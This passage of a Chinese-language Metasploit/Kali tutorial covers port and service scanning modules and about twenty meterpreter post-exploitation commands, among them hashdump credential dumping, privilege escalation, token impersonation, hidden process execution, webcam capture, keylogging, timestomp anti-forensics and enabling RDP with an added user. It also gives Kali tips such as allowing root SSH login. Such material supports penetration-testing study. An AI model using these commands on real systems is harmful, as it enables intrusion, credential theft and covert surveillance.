TCP connect端口扫描服务端与客户端未建立连接成功(目标端口关闭)过程:
① Client端发送SYN;
② Server端返回RST/ACK,表明端口未开放。
端口开放:
1、Client发送SYN ;
2、Server端发送SYN/ACK ;
3、Client发送RST断开(只需要前两步就可以判断端口开放)。
端口关闭:
1、Client发送SYN ;
2、Server端回复RST(表示端口关闭)。
优点:
SYN扫描要比TCP Connect()扫描隐蔽一些,SYN仅仅需要发送初始的SYN数据包给目标主机,如果端口开放,则相应SYN-ACK数据包;如果关闭,则响应RST数据包;
use auxiliary/scanner/portscan/syn
我们来看下需要设置哪些东西。
设置一个要扫描的ip。
再设置一个线程,这里默认的线程是1,我们设置成100。
运行。
7.1.2 Tcp扫描
我们再来看下TCP的扫描:use auxiliary/scanner/portscan/tcp
来看下要设置哪些东西。
和syn扫描要设置的东西差不多,我们来设置一下扫描地址和线程。
运行下。
第八节 服务版本信息探测
8.1 SMB版本扫描
执行use auxiliary/scanner/smb/smb_version命令。
我们来看一下要配置哪些东西。
设置一个ip地址,运行即可。
8.2 SSH版本扫描
执行use auxiliary/scanner/ssh/ssh_version命令。
看一下要设置哪些东西。
设置一个要扫描的IP,这里我们设置本机,本机正好是linux的系统,先要把ssh服务开一下。
设置目标IP和线程。
运行下,可以看到本机ssh服务的版本。
8.3 FTP版本扫描
执行use auxiliary/scanner/ftp/ftp_version命令。
我们看一下要配置哪些东西
我们这里设置一个IP段吧,只要选项里是RHOSTS的都是可以设置IP段的,再设置一个线程。
运行下。
因为我这个段里没有开FTP的服务器,所以扫不出来。
第九节 meterpreter后期攻击使用方法
1、上传文件到Windows主机
简单来说,你可以上传本机的任意文件到远程目标主机中。
命令:
- upload <file> <destination>
注意:使用-r参数可以递归上传上传目录和文件
正确输文件的方法是:upload //root//123.exe c:\\123.exe
命令2:从windows主机下载文件
download命令可以下载远程主机上的文件
命令:
- download <file> <path to save>
注意:Windows路径要使用双斜线
如果我们需要递归下载整个目录包括子目录和文件,我们可以使用download -r命令
命令3:在目标主机上执行exe文件
我们也可以使用execute命令在目标主机上执行应用程序
语法也非常简单
命令:
- execute -f <path> [options]
正确写法是: execute -f c://1.exe
命令4:创建CMD新通道
如果你想在目标主机上执行命令提示符,你可以使用下列命令:
命令:
- execute -f cmd -c
命令5:显示进程
ps命令会显示目标主机上所有正在运行的进程
命令:
- ps
命令6:获取目标主机的cmd shell
shell命令可以进入目标主机的cmd
命令:
- shell
命令7:获取admin权限
getsystem命令可以提权到本地系统权限
命令:
- getsystem
命令8:使用Hashdump转储所有hash值
我们可以使用meterpreter shell来dump目标主机的当前系统账户和密码。转储的内容是NTML哈希格式,网上有很多工具和技巧来破解它们。
NTLM在线破解:https://hashkiller.co.uk/ntlm-decrypter.aspx
命令:
- hashdump
输出的每一行内容格式如下
- Username:SID:LM hash:NTLM hash:::
如图所示
本次执行输出了5个用户账号,分别是Administrator,Guest,HelpAssistant,Owner and SUPPORT_388945a0
命令9:使用Credcollect转储hash值
还有一个类似的脚本叫credential_collector,也可以收集目标主机的tokens
命令:
- run credcollect
命令10:创建端口转发
meterpreter shell中的portfwd命令是转发技术中最常用的一个命令,可以让攻击系统访问本来无法直接访问的目标主机。
add选项会将端口转发添加到列表中,而且本质上会创建一个隧道。
请注意:这个隧道存在于meterpreter控制台之外,任何终端会话都可以使用。
命令:
portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口
命令11:删除端口转发
跟创建端口转发命令类似,这条命令是删除一条端口转发记录
命令:
- portfwd delete -l <portnumber> -p <portnumber> -r <Target IP>
如果你想显示所有端口转发记录,你可以使用portfwd list命令,如果你想删除所有的记录,可以使用portfwd flush命令
命令12:在目标主机上搜索文件
搜索命令可以来定位查找目标主机上的特定文件。这个命令可以搜索整个文件系统,也可以搜索特定的文件夹。
例如,如果你想搜索目标主机上的所有txt文件,可以使用下列命令:
命令:
- search -f *.txt
命令13:获取用户ID
getuid命令会显示主机上运行meterpreter 服务的用户
命令:
- getuid
命令14:获取系统信息
sysinfo命令会显示系统名,操作系统,架构和语言等。
命令:
- sysinfo
命令15:模拟任意用户(token操作)
这个进程对于攻击像微软活动目录这样的分布式系统非常有帮助,因为在微软活动目录中,本地访问权限并没多大用,但是如果能搞到凭证尤其是管理员凭证,那就非常有用了。
incognito最开始是一个独立的应用,当你成功入侵系统后可以用它来模拟用户tokens。这个应用后来集成到了metasploit,并且最终集成到了meterpreter中,使用如下:
- 在meterpreter会话中加载这个模块非常简单,只要输入 use incognito命令即可
- 输入list_tokens -u来显示所有有效的tokens
- 然后我们需要模拟某个token来获取其权限。还有注意,如果成功模拟了一个token,我们可以使用getuid命令来检查当前用户ID
- use incognito
- list_tokens -u
- impersonate_token “Machine\\user”
命令16:webcam摄像头命令
webcam_list #查看摄像头
webcam_snap #通过摄像头拍照
webcam_stream #通过摄像头开启视频
命令17:execute执行文件
execute #在目标机中执行文件
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互
命令18:timestomp伪造时间戳
timestomp C:// -h #查看帮助
timestomp -v C://2.txt #查看时间戳
timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt
命令19:enable_rdp脚本开启3389
run post/windows/manage/enable_rdp #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将3389端口转发到6662
脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
通过enable_rdp.rb脚本可知:开启rdp是通过reg修改注册表;添加用户是调用cmd.exe 通过net user添加;端口转发是利用的portfwd命令
命令20:键盘记录
keyscan_start #开始键盘记录
keyscan_dump #导出记录数据
keyscan_stop #结束键盘记录
其它详细见: https://xz.aliyun.com/t/2536
第十节 有关kail相关问题解答
8.4 kail桌面超时配置
1、打开搜索应用程序的界面
点击左侧的边栏最底部的图标,弹出搜索界面,如图所示
在搜索栏中填写“settings”,选择“settings”(英文)或“设置”(中文)图标,即可弹出“全部设置”工具
选择“电源”(中文)或“power”(英文)或点设置,进行电源设置界面
把空白屏幕选择“从不”就搞定了。
8.5 kail Windows10 远程连接解决办法
1、打开搜索应用程序的界面
第一步:开启kail 远程ssh,开启办法如下:
1、配置SSH参数
修改sshd_config文件,命令为:vi /etc/ssh/sshd_config
将#PasswordAuthentication no的注释去掉,并且将NO修改为YES //kali中默认是yes
将PermitRootLogin without-password修改为PermitRootLogin yes
然后,保存,退出vi
第二步:启动SSH服务
命令为:
/etc/init.d/ssh start
或者
service ssh start
查看SSH服务状态是否正常运行,命令为:
/etc/init.d/ssh status
或者
service ssh status
第三步:设置系统自动启动SSH服务
update-rc.d ssh enable //系统自动启动SSH服务
update-rc.d ssh disabled // 关闭系统自动启动SSH服务
第四步:到这里下载https://www.filezilla.cn/download/client
下载FILEZILLA 64位 绿色版 打开软件输入kail系统ip地址、帐号、密码连接
或者直接点击这里下载:http://down-ww3.newasp.net/pcdown/soft/soft1/filezilla_win64.zip